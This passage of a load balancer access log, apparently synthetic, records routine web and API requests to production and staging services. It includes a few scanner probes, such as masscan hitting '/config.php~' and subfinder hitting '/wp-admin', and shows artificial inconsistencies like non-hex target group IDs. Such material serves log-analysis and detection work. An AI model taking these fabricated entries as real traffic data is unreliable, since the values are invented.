0.135749 404 404 200 1585 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db70-04dbf4f4085e427892ebd321" "staging-alb.example.com" "-" 7 2024-11-01T02:33:04.095140Z "forward" "-" "-" "154.161.171.165:443" "404" "-" "-" +https 2024-11-01T02:33:04.304097Z prod-api-alb 67.15.220.42:55118 10.0.184.159:443 0.094900 0.228595 0.001590 200 200 927 9864 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db70-ea12719b7222437b8aa4874c" "prod-api-alb.example.com" "-" 6 2024-11-01T02:33:04.304097Z "forward" "-" "-" "10.0.184.159:443" "200" "-" "-" +https 2024-11-01T02:33:06.060225Z prod-web-alb 174.44.227.32:47288 10.0.137.114:443 0.055872 0.403627 0.044506 200 200 737 11463 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db72-0389960d8c5d4f6d9ff86426" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:06.060225Z "forward" "-" "-" "10.0.137.114:443" "200" "-" "-" +https 2024-11-01T02:33:07.046666Z prod-web-alb 95.142.110.14:45537 10.0.108.164:443 0.025422 0.475606 0.030218 302 302 300 5372 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db73-7b41a7091453411d9bea4ee1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:33:07.046666Z "forward" "-" "-" "10.0.108.164:443" "302" "-" "-" +https 2024-11-01T02:33:07.218614Z prod-web-alb 148.219.84.213:29273 10.0.164.141:443 0.051544 0.119925 0.084698 200 200 660 10881 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db73-eee6b64872db4ef3af01c00a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:07.218614Z "forward" "-" "-" "10.0.164.141:443" "200" "-" "-" +http 2024-11-01T02:33:08.987878Z staging-alb 78.64.44.8:14322 14.107.120.9:8080 0.076003 0.710326 0.147297 200 200 300 8381 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db74-6b46ef88e95b46e38d3dd7d5" "staging-alb.example.com" "-" 1 2024-11-01T02:33:08.987878Z "forward" "-" "-" "14.107.120.9:8080" "200" "-" "-" +https 2024-11-01T02:33:09.790269Z prod-web-alb 178.143.13.100:26126 10.0.106.122:443 0.054492 0.234922 0.019730 301 301 24 11495 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db75-f311adca368f4f4c8322f489" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:09.790269Z "forward" "-" "-" "10.0.106.122:443" "301" "-" "-" +https 2024-11-01T02:33:10.282895Z prod-api-alb 151.91.201.245:48551 10.0.120.65:443 0.058859 0.301171 0.056284 302 302 963 1894 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db76-e9062ad6f44049cc97c2104b" "prod-api-alb.example.com" "-" 1 2024-11-01T02:33:10.282895Z "forward" "-" "-" "10.0.120.65:443" "302" "-" "-" +https 2024-11-01T02:33:12.153078Z staging-alb 223.213.161.116:47646 90.226.43.62:80 0.130524 0.402079 0.149781 200 200 504 14894 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db78-13a34ccca4994eb3935fb3ce" "staging-alb.example.com" "-" 4 2024-11-01T02:33:12.153078Z "forward" "-" "-" "90.226.43.62:80" "200" "-" "-" +https 2024-11-01T02:33:13.550720Z prod-web-alb 195.198.164.6:23963 10.0.72.248:443 0.098765 0.295275 0.054467 200 200 318 2111 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db79-85e610a0b96f42d887383ab2" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:13.550720Z "forward" "-" "-" "10.0.72.248:443" "200" "-" "-" +https 2024-11-01T02:33:15.157682Z prod-web-alb 38.255.73.251:14354 10.0.170.211:443 0.010415 0.152967 0.015212 301 301 329 2953 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db7b-46674e5cddb54dd499305bd5" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:15.157682Z "forward" "-" "-" "10.0.170.211:443" "301" "-" "-" +https 2024-11-01T02:33:15.280547Z prod-web-alb 179.138.36.218:30818 10.0.162.117:443 0.007895 0.270547 0.005090 200 200 492 3844 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db7b-8b025dd47b24446c908752cb" "prod-web-alb.example.com" "-" 4 2024-11-01T02:33:15.280547Z "forward" "-" "-" "10.0.162.117:443" "200" "-" "-" +https 2024-11-01T02:33:16.004483Z prod-web-alb 47.0.171.216:33439 10.0.59.15:443 0.043313 0.264918 0.084761 404 404 937 1956 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db7c-505100859b724ee09f3c28ea" "prod-web-alb.example.com" "-" 4 2024-11-01T02:33:16.004483Z "forward" "-" "-" "10.0.59.15:443" "404" "-" "-" +https 2024-11-01T02:33:16.130361Z prod-api-alb 12.80.214.128:53490 10.0.22.58:443 0.014218 0.060681 0.059172 200 200 493 11069 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db7c-ea714cdf289a4a7aab1bcddd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:16.130361Z "forward" "-" "-" "10.0.22.58:443" "200" "-" "-" +http 2024-11-01T02:33:17.268632Z staging-alb 184.151.52.165:12465 162.145.37.227:443 0.136467 0.305556 0.111306 302 302 383 7113 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db7d-839e1c9a19e142c0b77afb15" "staging-alb.example.com" "-" 0 2024-11-01T02:33:17.268632Z "forward" "-" "-" "162.145.37.227:443" "302" "-" "-" +http 2024-11-01T02:33:17.704566Z staging-alb 77.173.17.231:60389 99.106.22.83:8080 0.140283 0.009218 0.008527 200 200 767 13336 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db7d-f1e436865999480db5c031e6" "-" "-" 0 2024-11-01T02:33:17.704566Z "forward" "-" "-" "99.106.22.83:8080" "200" "-" "-" +https 2024-11-01T02:33:18.088748Z prod-api-alb 145.170.66.181:42057 10.0.7.84:443 0.008345 0.075693 0.041194 302 302 839 13423 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db7e-686b6eaaa9144ff590dc778e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:18.088748Z "forward" "-" "-" "10.0.7.84:443" "302" "-" "-" +https 2024-11-01T02:33:19.112150Z prod-api-alb 45.101.81.179:33602 10.0.6.227:443 0.029877 0.493741 0.058383 200 200 683 7500 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db7f-afad59cf28ed4a6083b269bb" "prod-api-alb.example.com" "-" 10 2024-11-01T02:33:19.112150Z "forward" "-" "-" "10.0.6.227:443" "200" "-" "-" +https 2024-11-01T02:33:20.563133Z prod-web-alb 185.181.214.83:20067 10.0.88.210:443 0.091445 0.255382 0.038544 401 401 998 4090 "POST /config.php~ HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db80-91621ab22c664fcea47b3db3" "-" "-" 3 2024-11-01T02:33:20.563133Z "forward" "-" "-" "10.0.88.210:443" "401" "-" "-" +http 2024-11-01T02:33:21.442981Z staging-alb 2.255.214.155:42252 110.208.212.167:8080 0.136646 0.490584 0.073516 404 404 308 2084 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db81-f265bce75b424a62984ec2d3" "staging-alb.example.com" "-" 9 2024-11-01T02:33:21.442981Z "forward" "-" "-" "110.208.212.167:8080" "404" "-" "-" +https 2024-11-01T02:33:21.843116Z prod-api-alb 3.104.97.117:31863 10.0.48.204:443 0.069229 0.128138 0.030726 200 200 754 7303 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db81-e964e26f3a984df6b2aba1c9" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:21.843116Z "forward" "-" "-" "10.0.48.204:443" "200" "-" "-" +http 2024-11-01T02:33:23.133747Z staging-alb 13.108.111.211:57948 92.29.5.174:80 0.059969 0.018065 0.043564 301 301 354 1451 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db83-1215343b57b64140bbc24641" "staging-alb.example.com" "-" 10 2024-11-01T02:33:23.133747Z "forward" "-" "-" "92.29.5.174:80" "301" "-" "-" +https 2024-11-01T02:33:24.479497Z prod-api-alb 67.6.137.48:44099 10.0.33.116:443 0.038574 0.133509 0.092104 200 200 659 4369 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db84-a302749cffee4057b9ecb363" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:24.479497Z "forward" "-" "-" "10.0.33.116:443" "200" "-" "-" +https 2024-11-01T02:33:25.435277Z prod-api-alb 169.51.107.124:29107 10.0.224.93:443 0.077621 0.312347 0.039935 302 302 511 4846 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db85-25ed2132f07143f9ae6c88d7" "prod-api-alb.example.com" "-" 3 2024-11-01T02:33:25.435277Z "forward" "-" "-" "10.0.224.93:443" "302" "-" "-" +https 2024-11-01T02:33:26.928134Z prod-web-alb 181.8.123.175:62213 10.0.96.87:443 0.014101 0.443027 0.032651 404 404 275 5232 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db86-f4cb677a3c5d4d77833f8155" "prod-web-alb.example.com" "-" 5 2024-11-01T02:33:26.928134Z "forward" "-" "-" "10.0.96.87:443" "404" "-" "-" +https 2024-11-01T02:33:27.312312Z prod-api-alb 158.236.30.247:41691 10.0.89.30:443 0.028217 0.061971 0.068078 301 301 873 8567 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db87-0e4aecc13f664a3fa2eddf98" "prod-api-alb.example.com" "-" 10 2024-11-01T02:33:27.312312Z "forward" "-" "-" "10.0.89.30:443" "301" "-" "-" +http 2024-11-01T02:33:27.453600Z staging-alb 185.181.6.37:61548 177.250.8.68:80 0.104706 0.137998 0.111383 301 301 533 13525 "POST /wp-admin HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db87-f5040e0a744a418a983d8fa1" "-" "-" 10 2024-11-01T02:33:27.453600Z "forward" "-" "-" "177.250.8.68:80" "301" "-" "-" +https 2024-11-01T02:33:29.438820Z prod-web-alb 110.253.61.30:23317 10.0.46.232:443 0.059298 0.136170 0.096552 200 200 776 8311 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db89-02d494a2ef8d41b29d69e24e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:33:29.438820Z "forward" "-" "-" "10.0.46.232:443" "200" "-" "-" +https 2024-11-01T02:33:30.886387Z prod-api-alb 136.49.11.131:43521 10.0.196.71:443 0.061839 0.269692 0.025959 200 200 208 14585 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db8a-47b40bdd60ed4296a2ba95e0" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:30.886387Z "forward" "-" "-" "10.0.196.71:443" "200" "-" "-" +https 2024-11-01T02:33:32.515018Z prod-api-alb 122.217.88.180:18437 10.0.146.76:443 0.077001 0.063115 0.042328 200 200 565 8238 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db8c-32b0b5573e4342439a94fc3c" "prod-api-alb.example.com" "-" 5 2024-11-01T02:33:32.515018Z "forward" "-" "-" "10.0.146.76:443" "200" "-" "-" +https 2024-11-01T02:33:33.113055Z staging-alb 94.24.212.108:51613 61.188.136.203:80 0.102926 0.561889 0.107566 200 200 699 2922 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db8d-da3ab33a37604a058885f10c" "staging-alb.example.com" "-" 4 2024-11-01T02:33:33.113055Z "forward" "-" "-" "61.188.136.203:80" "200" "-" "-" +https 2024-11-01T02:33:34.743172Z prod-api-alb 243.100.7.209:41682 10.0.42.200:443 0.084680 0.102036 0.023588 200 200 817 6818 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db8e-46b7b736d7c24d468662ca79" "prod-api-alb.example.com" "-" 5 2024-11-01T02:33:34.743172Z "forward" "-" "-" "10.0.42.200:443" "200" "-" "-" +https 2024-11-01T02:33:35.324846Z prod-api-alb 201.209.53.160:21385 10.0.107.240:443 0.019411 0.326294 0.025637 404 404 418 3435 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db8f-8aaaaaed8f9f44549545647d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:35.324846Z "forward" "-" "-" "10.0.107.240:443" "404" "-" "-" +https 2024-11-01T02:33:36.607841Z prod-web-alb 199.130.48.210:46548 10.0.86.73:443 0.067554 0.069821 0.069404 200 200 705 11454 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db90-97e3d5197ca047348346f9a6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:36.607841Z "forward" "-" "-" "10.0.86.73:443" "200" "-" "-" +https 2024-11-01T02:33:38.345051Z staging-alb 45.197.31.87:40338 247.40.100.59:443 0.099704 0.597637 0.127294 301 301 523 9356 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db92-114937855d0f4e8199edc055" "staging-alb.example.com" "-" 10 2024-11-01T02:33:38.345051Z "forward" "-" "-" "247.40.100.59:443" "301" "-" "-" +https 2024-11-01T02:33:39.999915Z staging-alb 246.170.103.166:27755 214.115.10.106:8080 0.100661 0.546444 0.035239 301 301 401 7746 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db93-0f47dde3b96c43118d260bcd" "staging-alb.example.com" "-" 9 2024-11-01T02:33:39.999915Z "forward" "-" "-" "214.115.10.106:8080" "301" "-" "-" +https 2024-11-01T02:33:41.185671Z prod-api-alb 131.130.206.52:18160 10.0.191.53:443 0.071138 0.489814 0.031210 302 302 143 10172 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db95-0bb48d3c598d45ef924ae1ed" "prod-api-alb.example.com" "-" 0 2024-11-01T02:33:41.185671Z "forward" "-" "-" "10.0.191.53:443" "302" "-" "-" +https 2024-11-01T02:33:41.732551Z prod-api-alb 117.185.101.95:14906 10.0.57.252:443 0.092140 0.445258 0.071465 301 301 52 11949 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db95-00c84886010745a9a86f0c0e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:41.732551Z "forward" "-" "-" "10.0.57.252:443" "301" "-" "-" +https 2024-11-01T02:33:43.327399Z prod-web-alb 76.211.40.87:55974 10.0.13.45:443 0.068419 0.068627 0.072763 200 200 860 8111 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db97-83fbf9379207471c84fdfa58" "prod-web-alb.example.com" "-" 5 2024-11-01T02:33:43.327399Z "forward" "-" "-" "10.0.13.45:443" "200" "-" "-" +https 2024-11-01T02:33:43.456108Z prod-api-alb 80.61.208.157:10183 10.0.131.212:443 0.081930 0.343170 0.000122 200 200 678 5191 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db97-1ba5fe1abf3e48dfa30eba09" "prod-api-alb.example.com" "-" 7 2024-11-01T02:33:43.456108Z "forward" "-" "-" "10.0.131.212:443" "200" "-" "-" +https 2024-11-01T02:33:44.071195Z prod-web-alb 64.143.124.21:38689 10.0.195.149:443 0.083232 0.338637 0.075116 200 200 262 7886 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db98-0415109ea6cf46ad867e818a" "prod-web-alb.example.com" "-" 1 2024-11-01T02:33:44.071195Z "forward" "-" "-" "10.0.195.149:443" "200" "-" "-" +https 2024-11-01T02:33:44.288813Z staging-alb 184.200.251.172:60003 163.226.197.253:8080 0.034418 0.349823 0.078908 200 200 907 11529 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db98-f7dcc3b44e0148e283ac6ac0" "staging-alb.example.com" "-" 2 2024-11-01T02:33:44.288813Z "forward" "-" "-" "163.226.197.253:8080" "200" "-" "-" +http 2024-11-01T02:33:45.378506Z staging-alb 228.161.186.150:22601 6.233.84.205:8080 0.040083 0.673870 0.022063 200 200 345 2130 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db99-4c1943aacf24473a91462cbb" "staging-alb.example.com" "-" 9 2024-11-01T02:33:45.378506Z "forward" "-" "-" "6.233.84.205:8080" "200" "-" "-" +https 2024-11-01T02:33:47.367542Z prod-web-alb 74.27.79.223:47525 10.0.249.78:443 0.017255 0.278475 0.085343 200 200 423 13097 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db9b-2e672f6b493349be970f4f17" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:47.367542Z "forward" "-" "-" "10.0.249.78:443" "200" "-" "-" +https 2024-11-01T02:33:48.637375Z prod-api-alb 185.190.176.4:40741 10.0.207.110:443 0.049809 0.062477 0.060860 302 302 34 6284 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db9c-ab2273d1ee0144238028c9ba" "prod-api-alb.example.com" "-" 2 2024-11-01T02:33:48.637375Z "forward" "-" "-" "10.0.207.110:443" "302" "-" "-" +https 2024-11-01T02:33:49.633167Z prod-api-alb 120.9.156.219:36092 10.0.69.227:443 0.095823 0.150612 0.021815 200 200 997 13258 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db9d-be0e9f49a9264d1b9f385869" "prod-api-alb.example.com" "-" 4 2024-11-01T02:33:49.633167Z "forward" "-" "-" "10.0.69.227:443" "200" "-" "-" +https 2024-11-01T02:33:49.991093Z prod-api-alb 184.246.218.196:17981 10.0.215.243:443 0.043741 0.064792 0.006999 302 302 585 9297 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db9d-8579a93ea44e4f73b9835d30" "-" "-" 2 2024-11-01T02:33:49.991093Z "forward" "-" "-" "10.0.215.243:443" "302" "-" "-" +http 2024-11-01T02:33:51.021142Z staging-alb 25.193.207.199:10246 141.45.118.104:80 0.139919 0.407382 0.118245 302 302 357 14979 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db9f-d090164bf48046fbac8c6430" "staging-alb.example.com" "-" 1 